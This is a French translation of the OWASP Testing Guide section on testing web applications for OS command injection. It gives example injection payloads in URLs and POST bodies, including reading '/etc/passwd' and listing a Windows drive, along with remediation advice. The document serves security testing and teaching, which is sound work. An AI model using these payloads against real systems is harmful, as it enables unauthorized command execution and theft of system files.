4.8.13 Tester les injections de commandes (OTG-INPVAL-013)

Sommaire
Cet article décrit comment tester les injections de commandes systèmes sur une application. Le testeur va essayer d'injecter une commande système danas l'application via une requête HTTP.

L'injection de commandes systèmes est une technique utilisée via une interface web pour exécuter des commandes systèmes sur le serveur web. L'utilisateur envoie des commandes systèmes sur une interface web afin de les exécuter. Toute interface web qui ne valide pas correctement ses entrées est sujette à cette vulnérabilité. En pouvant exécuter des commandes systèmes, l'utilisateur peut télécharger des programmes malicieux ou même obtenir des mots de passe. L'injection de commandes systèmes peut être évitée quand la securité est prise en compte pendant la conception et le développement d'applications.

Comment tester
Quand on visualise un fichier sur une application web, le nom du fichier est souvent affiché dans l'URL. Perl permet de transférer des données vers une instruction avec un pipe. L'utilisateur peut simplement ajouter un symbole pipe "|" à la fin du nom du fichier.

Un exemple d'URL avant modification :

http://sensitive/cgi-bin/userData.pl?doc=user1.txt

Exemple d'URL modifiée :

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

Cela va exécuter la commande “/bin/ls”.

Ajouter un point-virgule à la fin de l'URL d'une page .PHP, suivi d'une commande système, va exécuter la commande. %3B est le point-virgule encodé en URL.

Exemple : http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

Exemple Considérons le cas d'une application contenant un ensemble de documents que l'on peut consulter depuis Internet. Si l'on lance WebScarab, on obtient une requêete HTTP POST comme la suivante :

POST http://www.example.com/public/doc HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33

Doc=Doc1.pdf

Dans cette requête POST, on observe comment l'application récupère le document public. Maintenant, on peut tester s'il est possible d'ajouter une commande système à injecter dans la requête POST. On essaie ce qui suit :

POST http://www.example.com/public/doc HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33

Doc=Doc1.pdf+|+Dir c:\

Si l'application ne valide pas la requête, on peut obtenir le résultat suivant : Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\' Output... Il volume nell'unità C non ha etichetta. Numero di serie Del volume: 8E3F-4B61 Directory of c:\ 18/10/2006 00:27 2,675 Dir_Prog.txt 18/10/2006 00:28 3,887 Dir_ProgFile.txt 16/11/2006 10:43   Doc 11/11/2006 17:25      Documents and Settings 25/10/2006 03:11         I386 14/11/2006 18:51	    h4ck3r 30/09/2005 21:40 25,934 		OWASP1.JPG 03/11/2006 18:29			Prog 18/11/2006 11:20				Program Files 16/11/2006 21:12					Software 24/10/2006 18:25						Setup 24/10/2006 23:37							Technologies 18/11/2006 11:14								3 File 32,496 byte 13 Directory 6,921,269,248 byte disponibili Return code: 0

Dans ce cas, on a réussi une attaque d'injection de commande système.

Outils

 * OWASP WebScarab
 * OWASP WebGoat

Références
White papers
 * http://www.securityfocus.com/infocus/1709

Validation
L'URL et les données de formulaire doivent être filtrées pour éliminer les caractères invalides. Une liste noire de caractères est une option mais il peut être difficile de penser à tous les caractères à interdire. Certains peuvent ne pas être encore connus. Une liste blanche contenant uniquement les caractères autorisés devrait être créée pour valider les entrées utilisateur. Les caractères oubliés, comme les menaces encore inconnues, seront éliminées par cette liste.

Permissions
L'application web et ses composants devraient être exécutés sous des permissions strictes, interdisant l'exécution de commandes systèmes. Essayez de vérifier toutes ces informations lors de tests en boite grise.